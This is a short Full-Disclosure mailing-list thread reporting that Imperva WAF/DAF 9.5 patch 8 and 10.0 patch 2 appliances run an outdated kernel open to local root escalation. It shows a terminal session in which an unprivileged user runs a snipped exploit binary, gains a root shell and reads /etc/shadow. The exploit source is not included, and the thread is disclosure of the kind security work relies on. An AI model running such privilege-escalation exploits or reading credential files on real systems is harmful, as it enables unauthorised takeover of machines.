Re: Imperva WAF/DAF 9.5 patch8 and 10.0 patch 2 localroot vulnerability

["steve jobs" <job.steve () mail com>]

Imperva was holy shit in fact,the system was still running with the old and unsecure kernel.
----- Original Message -----
From: adam
Sent: 11/21/13 05:39 PM
To: steve jobs
Subject: Re: [Full-disclosure] Imperva WAF/DAF 9.5 patch8 and 10.0 patch 2 localroot vulnerability

Holy shit you guys, a ghost. 

On Wed, Nov 20, 2013 at 9:12 AM, steve jobs < job.steve () mail com > wrote:Imperva use hardened centos 5.4 to run Web 
Application Firewall and Database Activity Monitoring product.
It could be exploit to get root in the kernel 2.6.18-164.15.1.el5.imp4 which was built by imperva in 9.5 patch 8 and 
10.0 patch 2.
I hope imperva could upgrade your OS to centos 5.9 with kernel 2.6.18-348 to keep your system secure.
Your can check the attachment for details.

[test95p8@GFWAF ~]$ uname -a
Linux GFWAF 2.6.18-164.15.1.el5.imp4 #1 SMP Mon Apr 8 15:29:20 IDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[test95p8@GFWAF ~]$ cat /etc/redhat-release
Imperva release 5.4 (Final)
[test95p8@GFWAF ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied
[test95p8@GFWAF ~]$ id
uid=505(test95p8) gid=507(test95p8) groups=507(test95p8)
[test95p8@GFWAF ~]$ ./centos54_localroot_exp
########snip##############
sh-3.2# id
uid=0(root) gid=507(test95p8) groups=507(test95p8)
sh-3.2# wc -l /etc/shadow
40 /etc/shadow
sh-3.2#

[root@WAF ~]# impctl platform show 2> /dev/null | grep version
version 10.0.0.2_0
[root@WAF ~]# uname -a
Linux WAF 2.6.18-164.15.1.el5.imp4 #1 SMP Mon Apr 8 15:29:20 IDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[root@WAF ~]# cat /etc/redhat-release
Imperva release 5.4 (Final)
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/